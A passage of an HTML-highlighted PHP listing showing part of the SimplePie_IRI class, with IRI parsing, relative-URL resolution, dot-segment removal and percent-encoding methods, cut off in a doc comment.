class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br><span class="line">574</span><br><span class="line">575</span><br><span class="line">576</span><br><span class="line">577</span><br><span class="line">578</span><br><span class="line">579</span><br><span class="line">580</span><br><span class="line">581</span><br><span class="line">582</span><br><span class="line">583</span><br><span class="line">584</span><br><span class="line">585</span><br><span class="line">586</span><br><span class="line">587</span><br><span class="line">588</span><br><span class="line">589</span><br><span class="line">590</span><br><span class="line">591</span><br><span class="line">592</span><br><span class="line">593</span><br><span class="line">594</span><br><span class="line">595</span><br><span class="line">596</span><br><span class="line">597</span><br><span class="line">598</span><br><span class="line">599</span><br><span class="line">600</span><br><span class="line">601</span><br><span class="line">602</span><br><span class="line">603</span><br><span class="line">604</span><br><span class="line">605</span><br><span class="line">606</span><br><span class="line">607</span><br><span class="line">608</span><br><span class="line">609</span><br><span class="line">610</span><br><span class="line">611</span><br><span class="line">612</span><br><span class="line">613</span><br><span class="line">614</span><br><span class="line">615</span><br><span class="line">616</span><br><span class="line">617</span><br><span class="line">618</span><br><span class="line">619</span><br><span class="line">620</span><br><span class="line">621</span><br><span class="line">622</span><br><span class="line">623</span><br><span class="line">624</span><br><span class="line">625</span><br><span class="line">626</span><br><span class="line">627</span><br><span class="line">628</span><br><span class="line">629</span><br><span class="line">630</span><br><span class="line">631</span><br><span class="line">632</span><br><span class="line">633</span><br><span class="line">634</span><br><span class="line">635</span><br><span class="line">636</span><br><span class="line">637</span><br><span class="line">638</span><br><span class="line">639</span><br><span class="line">640</span><br><span class="line">641</span><br><span class="line">642</span><br><span class="line">643</span><br><span class="line">644</span><br><span class="line">645</span><br><span class="line">646</span><br><span class="line">647</span><br><span class="line">648</span><br><span class="line">649</span><br><span class="line">650</span><br><span class="line">651</span><br><span class="line">652</span><br><span class="line">653</span><br><span class="line">654</span><br><span class="line">655</span><br><span class="line">656</span><br><span class="line">657</span><br><span class="line">658</span><br><span class="line">659</span><br><span class="line">660</span><br><span class="line">661</span><br><span class="line">662</span><br><span class="line">663</span><br><span class="line">664</span><br><span class="line">665</span><br><span class="line">666</span><br><span class="line">667</span><br><span class="line">668</span><br><span class="line">669</span><br><span class="line">670</span><br><span class="line">671</span><br><span class="line">672</span><br><span class="line">673</span><br><span class="line">674</span><br><span class="line">675</span><br><span class="line">676</span><br><span class="line">677</span><br><span class="line">678</span><br><span class="line">679</span><br><span class="line">680</span><br><span class="line">681</span><br><span class="line">682</span><br><span class="line">683</span><br><span class="line">684</span><br><span class="line">685</span><br><span class="line">686</span><br><span class="line">687</span><br><span class="line">688</span><br><span class="line">689</span><br><span class="line">690</span><br><span class="line">691</span><br><span class="line">692</span><br><span class="line">693</span><br><span class="line">694</span><br><span class="line">695</span><br><span class="line">696</span><br><span class="line">697</span><br><span class="line">698</span><br><span class="line">699</span><br><span class="line">700</span><br><span class="line">701</span><br><span class="line">702</span><br><span class="line">703</span><br><span class="line">704</span><br><span class="line">705</span><br><span class="line">706</span><br><span class="line">707</span><br><span class="line">708</span><br><span class="line">709</span><br><span class="line">710</span><br><span class="line">711</span><br><span class="line">712</span><br><span class="line">713</span><br><span class="line">714</span><br><span class="line">715</span><br><span class="line">716</span><br><span class="line">717</span><br><span class="line">718</span><br><span class="line">719</span><br><span class="line">720</span><br><span class="line">721</span><br><span class="line">722</span><br><span class="line">723</span><br><span class="line">724</span><br><span class="line">725</span><br><span class="line">726</span><br><span class="line">727</span><br><span class="line">728</span><br><span class="line">729</span><br><span class="line">730</span><br><span class="line">731</span><br><span class="line">732</span><br><span class="line">733</span><br><span class="line">734</span><br><span class="line">735</span><br><span class="line">736</span><br><span class="line">737</span><br><span class="line">738</span><br><span class="line">739</span><br><span class="line">740</span><br><span class="line">741</span><br><span class="line">742</span><br><span class="line">743</span><br><span class="line">744</span><br><span class="line">745</span><br><span class="line">746</span><br><span class="line">747</span><br><span class="line">748</span><br><span class="line">749</span><br><span class="line">750</span><br><span class="line">751</span><br><span class="line">752</span><br><span class="line">753</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">error_reporting(E_ERROR); </span><br><span class="line">ini_set(<span class="string">"display_errors"</span>,<span class="string">"Off"</span>);</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SimplePie_IRI</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Scheme</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@var</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">var</span> $scheme;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * User Information</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@var</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">var</span> $userinfo;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Host</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@var</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">var</span> $host;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Port</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@var</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">var</span> $port;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Path</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@var</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">var</span> $path;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Query</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@var</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">var</span> $query;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Fragment</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@var</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">var</span> $fragment;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Whether the object represents a valid IRI</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@var</span> array</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="keyword">var</span> $valid = <span class="keyword">array</span>();</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Return the entire IRI when you try and read the object as a string</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">__toString</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">$this</span>-&gt;get_iri();</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Create a new IRI object, from a specified string</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $iri</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> SimplePie_IRI</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">SimplePie_IRI</span><span class="params">($iri)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$iri = (string) $iri;</span><br><span class="line">		<span class="keyword">if</span> ($iri !== <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$parsed = <span class="keyword">$this</span>-&gt;parse_iri($iri);</span><br><span class="line">			<span class="keyword">$this</span>-&gt;set_scheme($parsed[<span class="string">'scheme'</span>]);</span><br><span class="line">			<span class="keyword">$this</span>-&gt;set_authority($parsed[<span class="string">'authority'</span>]);</span><br><span class="line">			<span class="keyword">$this</span>-&gt;set_path($parsed[<span class="string">'path'</span>]);</span><br><span class="line">			<span class="keyword">$this</span>-&gt;set_query($parsed[<span class="string">'query'</span>]);</span><br><span class="line">			<span class="keyword">$this</span>-&gt;set_fragment($parsed[<span class="string">'fragment'</span>]);</span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Create a new IRI object by resolving a relative IRI</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@static</span></span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> SimplePie_IRI $base Base IRI</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $relative Relative IRI</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> SimplePie_IRI</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">absolutize</span><span class="params">($base, $relative)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$relative = (string) $relative;</span><br><span class="line">		<span class="keyword">if</span> ($relative !== <span class="string">''</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			$relative = <span class="keyword">new</span> SimplePie_IRI($relative);</span><br><span class="line">			<span class="keyword">if</span> ($relative-&gt;get_scheme() !== <span class="keyword">null</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$target = $relative;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">elseif</span> ($base-&gt;get_iri() !== <span class="keyword">null</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				<span class="keyword">if</span> ($relative-&gt;get_authority() !== <span class="keyword">null</span>)</span><br><span class="line">				&#123;</span><br><span class="line">					$target = $relative;</span><br><span class="line">					$target-&gt;set_scheme($base-&gt;get_scheme());</span><br><span class="line">				&#125;</span><br><span class="line">				<span class="keyword">else</span></span><br><span class="line">				&#123;</span><br><span class="line">					$target = <span class="keyword">new</span> SimplePie_IRI(<span class="string">''</span>);</span><br><span class="line">					$target-&gt;set_scheme($base-&gt;get_scheme());</span><br><span class="line">					$target-&gt;set_userinfo($base-&gt;get_userinfo());</span><br><span class="line">					$target-&gt;set_host($base-&gt;get_host());</span><br><span class="line">					$target-&gt;set_port($base-&gt;get_port());</span><br><span class="line">					<span class="keyword">if</span> ($relative-&gt;get_path() !== <span class="keyword">null</span>)</span><br><span class="line">					&#123;</span><br><span class="line">						<span class="keyword">if</span> (strpos($relative-&gt;get_path(), <span class="string">'/'</span>) === <span class="number">0</span>)</span><br><span class="line">						&#123;</span><br><span class="line">							$target-&gt;set_path($relative-&gt;get_path());</span><br><span class="line">						&#125;</span><br><span class="line">						<span class="keyword">elseif</span> (($base-&gt;get_userinfo() !== <span class="keyword">null</span> || $base-&gt;get_host() !== <span class="keyword">null</span> || $base-&gt;get_port() !== <span class="keyword">null</span>) &amp;&amp; $base-&gt;get_path() === <span class="keyword">null</span>)</span><br><span class="line">						&#123;</span><br><span class="line">							$target-&gt;set_path(<span class="string">'/'</span> . $relative-&gt;get_path());</span><br><span class="line">						&#125;</span><br><span class="line">						<span class="keyword">elseif</span> (($last_segment = strrpos($base-&gt;get_path(), <span class="string">'/'</span>)) !== <span class="keyword">false</span>)</span><br><span class="line">						&#123;</span><br><span class="line">							$target-&gt;set_path(substr($base-&gt;get_path(), <span class="number">0</span>, $last_segment + <span class="number">1</span>) . $relative-&gt;get_path());</span><br><span class="line">						&#125;</span><br><span class="line">						<span class="keyword">else</span></span><br><span class="line">						&#123;</span><br><span class="line">							$target-&gt;set_path($relative-&gt;get_path());</span><br><span class="line">						&#125;</span><br><span class="line">						$target-&gt;set_query($relative-&gt;get_query());</span><br><span class="line">					&#125;</span><br><span class="line">					<span class="keyword">else</span></span><br><span class="line">					&#123;</span><br><span class="line">						$target-&gt;set_path($base-&gt;get_path());</span><br><span class="line">						<span class="keyword">if</span> ($relative-&gt;get_query() !== <span class="keyword">null</span>)</span><br><span class="line">						&#123;</span><br><span class="line">							$target-&gt;set_query($relative-&gt;get_query());</span><br><span class="line">						&#125;</span><br><span class="line">						<span class="keyword">elseif</span> ($base-&gt;get_query() !== <span class="keyword">null</span>)</span><br><span class="line">						&#123;</span><br><span class="line">							$target-&gt;set_query($base-&gt;get_query());</span><br><span class="line">						&#125;</span><br><span class="line">					&#125;</span><br><span class="line">				&#125;</span><br><span class="line">				$target-&gt;set_fragment($relative-&gt;get_fragment());</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">else</span></span><br><span class="line">			&#123;</span><br><span class="line">				<span class="comment">// No base URL, just return the relative URL</span></span><br><span class="line">				$target = $relative;</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">else</span></span><br><span class="line">		&#123;</span><br><span class="line">			$target = $base;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> $target;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Parse an IRI into scheme/authority/path/query/fragment segments</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $iri</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> array</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">parse_iri</span><span class="params">($iri)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		preg_match(<span class="string">'/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/'</span>, $iri, $match);</span><br><span class="line">		<span class="keyword">for</span> ($i = count($match); $i &lt;= <span class="number">9</span>; $i++)</span><br><span class="line">		&#123;</span><br><span class="line">			$match[$i] = <span class="string">''</span>;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> <span class="keyword">array</span>(<span class="string">'scheme'</span> =&gt; $match[<span class="number">2</span>], <span class="string">'authority'</span> =&gt; $match[<span class="number">4</span>], <span class="string">'path'</span> =&gt; $match[<span class="number">5</span>], <span class="string">'query'</span> =&gt; $match[<span class="number">7</span>], <span class="string">'fragment'</span> =&gt; $match[<span class="number">9</span>]);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Remove dot segments from a path</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $input</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">remove_dot_segments</span><span class="params">($input)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		$output = <span class="string">''</span>;</span><br><span class="line">		<span class="keyword">while</span> (strpos($input, <span class="string">'./'</span>) !== <span class="keyword">false</span> || strpos($input, <span class="string">'/.'</span>) !== <span class="keyword">false</span> || $input === <span class="string">'.'</span> || $input === <span class="string">'..'</span>)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="comment">// A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,</span></span><br><span class="line">			<span class="keyword">if</span> (strpos($input, <span class="string">'../'</span>) === <span class="number">0</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$input = substr($input, <span class="number">3</span>);</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">elseif</span> (strpos($input, <span class="string">'./'</span>) === <span class="number">0</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$input = substr($input, <span class="number">2</span>);</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="comment">// B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,</span></span><br><span class="line">			<span class="keyword">elseif</span> (strpos($input, <span class="string">'/./'</span>) === <span class="number">0</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$input = substr_replace($input, <span class="string">'/'</span>, <span class="number">0</span>, <span class="number">3</span>);</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">elseif</span> ($input === <span class="string">'/.'</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$input = <span class="string">'/'</span>;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="comment">// C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,</span></span><br><span class="line">			<span class="keyword">elseif</span> (strpos($input, <span class="string">'/../'</span>) === <span class="number">0</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$input = substr_replace($input, <span class="string">'/'</span>, <span class="number">0</span>, <span class="number">4</span>);</span><br><span class="line">				$output = substr_replace($output, <span class="string">''</span>, strrpos($output, <span class="string">'/'</span>));</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">elseif</span> ($input === <span class="string">'/..'</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$input = <span class="string">'/'</span>;</span><br><span class="line">				$output = substr_replace($output, <span class="string">''</span>, strrpos($output, <span class="string">'/'</span>));</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="comment">// D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,</span></span><br><span class="line">			<span class="keyword">elseif</span> ($input === <span class="string">'.'</span> || $input === <span class="string">'..'</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$input = <span class="string">''</span>;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="comment">// E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer</span></span><br><span class="line">			<span class="keyword">elseif</span> (($pos = strpos($input, <span class="string">'/'</span>, <span class="number">1</span>)) !== <span class="keyword">false</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				$output .= substr($input, <span class="number">0</span>, $pos);</span><br><span class="line">				$input = substr_replace($input, <span class="string">''</span>, <span class="number">0</span>, $pos);</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="keyword">else</span></span><br><span class="line">			&#123;</span><br><span class="line">				$output .= $input;</span><br><span class="line">				$input = <span class="string">''</span>;</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> $output . $input;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Replace invalid character with percent encoding</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> private</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $string Input string</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> string $valid_chars Valid characters</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@param</span> int $case Normalise case</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> string</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">replace_invalid_with_pct_encoding</span><span class="params">($string, $valid_chars, $case = SIMPLEPIE_SAME_CASE)</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="comment">// Normalise case</span></span><br><span class="line">		<span class="keyword">if</span> ($case &amp; SIMPLEPIE_LOWERCASE)</span><br><span class="line">		&#123;</span><br><span class="line">			$string = strtolower($string);</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">elseif</span> ($case &amp; SIMPLEPIE_UPPERCASE)</span><br><span class="line">		&#123;</span><br><span class="line">			$string = strtoupper($string);</span><br><span class="line">		&#125;</span><br><span class="line"></span><br><span class="line">		<span class="comment">// Store position and string length (to avoid constantly recalculating this)</span></span><br><span class="line">		$position = <span class="number">0</span>;</span><br><span class="line">		$strlen = strlen($string);</span><br><span class="line"></span><br><span class="line">		<span class="comment">// Loop as long as we have invalid characters, advancing the position to the next invalid character</span></span><br><span class="line">		<span class="keyword">while</span> (($position += strspn($string, $valid_chars, $position)) &lt; $strlen)</span><br><span class="line">		&#123;</span><br><span class="line">			<span class="comment">// If we have a % character</span></span><br><span class="line">			<span class="keyword">if</span> ($string[$position] === <span class="string">'%'</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				<span class="comment">// If we have a pct-encoded section</span></span><br><span class="line">				<span class="keyword">if</span> ($position + <span class="number">2</span> &lt; $strlen &amp;&amp; strspn($string, <span class="string">'0123456789ABCDEFabcdef'</span>, $position + <span class="number">1</span>, <span class="number">2</span>) === <span class="number">2</span>)</span><br><span class="line">				&#123;</span><br><span class="line">					<span class="comment">// Get the the represented character</span></span><br><span class="line">					$chr = chr(hexdec(substr($string, $position + <span class="number">1</span>, <span class="number">2</span>)));</span><br><span class="line"></span><br><span class="line">					<span class="comment">// If the character is valid, replace the pct-encoded with the actual character while normalising case</span></span><br><span class="line">					<span class="keyword">if</span> (strpos($valid_chars, $chr) !== <span class="keyword">false</span>)</span><br><span class="line">					&#123;</span><br><span class="line">						<span class="keyword">if</span> ($case &amp; SIMPLEPIE_LOWERCASE)</span><br><span class="line">						&#123;</span><br><span class="line">							$chr = strtolower($chr);</span><br><span class="line">						&#125;</span><br><span class="line">						<span class="keyword">elseif</span> ($case &amp; SIMPLEPIE_UPPERCASE)</span><br><span class="line">						&#123;</span><br><span class="line">							$chr = strtoupper($chr);</span><br><span class="line">						&#125;</span><br><span class="line">						$string = substr_replace($string, $chr, $position, <span class="number">3</span>);</span><br><span class="line">						$strlen -= <span class="number">2</span>;</span><br><span class="line">						$position++;</span><br><span class="line">					&#125;</span><br><span class="line"></span><br><span class="line">					<span class="comment">// Otherwise just normalise the pct-encoded to uppercase</span></span><br><span class="line">					<span class="keyword">else</span></span><br><span class="line">					&#123;</span><br><span class="line">						$string = substr_replace($string, strtoupper(substr($string, $position + <span class="number">1</span>, <span class="number">2</span>)), $position + <span class="number">1</span>, <span class="number">2</span>);</span><br><span class="line">						$position += <span class="number">3</span>;</span><br><span class="line">					&#125;</span><br><span class="line">				&#125;</span><br><span class="line">				<span class="comment">// If we don't have a pct-encoded section, just replace the % with its own esccaped form</span></span><br><span class="line">				<span class="keyword">else</span></span><br><span class="line">				&#123;</span><br><span class="line">					$string = substr_replace($string, <span class="string">'%25'</span>, $position, <span class="number">1</span>);</span><br><span class="line">					$strlen += <span class="number">2</span>;</span><br><span class="line">					$position += <span class="number">3</span>;</span><br><span class="line">				&#125;</span><br><span class="line">			&#125;</span><br><span class="line">			<span class="comment">// If we have an invalid character, change into its pct-encoded form</span></span><br><span class="line">			<span class="keyword">else</span></span><br><span class="line">			&#123;</span><br><span class="line">				$replacement = sprintf(<span class="string">"%%%02X"</span>, ord($string[$position]));</span><br><span class="line">				$string = str_replace($string[$position], $replacement, $string);</span><br><span class="line">				$strlen = strlen($string);</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		<span class="keyword">return</span> $string;</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Check if the object represents a valid IRI</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@return</span> bool</span></span><br><span class="line"><span class="comment">	 */</span></span><br><span class="line">	<span class="function"><span class="keyword">function</span> <span class="title">is_valid</span><span class="params">()</span></span></span><br><span class="line"><span class="function">	</span>&#123;</span><br><span class="line">		<span class="keyword">return</span> array_sum(<span class="keyword">$this</span>-&gt;valid) === count(<span class="keyword">$this</span>-&gt;valid);</span><br><span class="line">	&#125;</span><br><span class="line"></span><br><span class="line">	<span class="comment">/**</span></span><br><span class="line"><span class="comment">	 * Set the scheme. Returns true on success, false on failure (if there are</span></span><br><span class="line"><span class="comment">	 * any invalid characters).</span></span><br><span class="line"><span class="comment">	 *</span></span><br><span class="line"><span class="comment">	 * <span class="doctag">@access</span> public</span></span><br><span class="line"><span class="comment">	 * 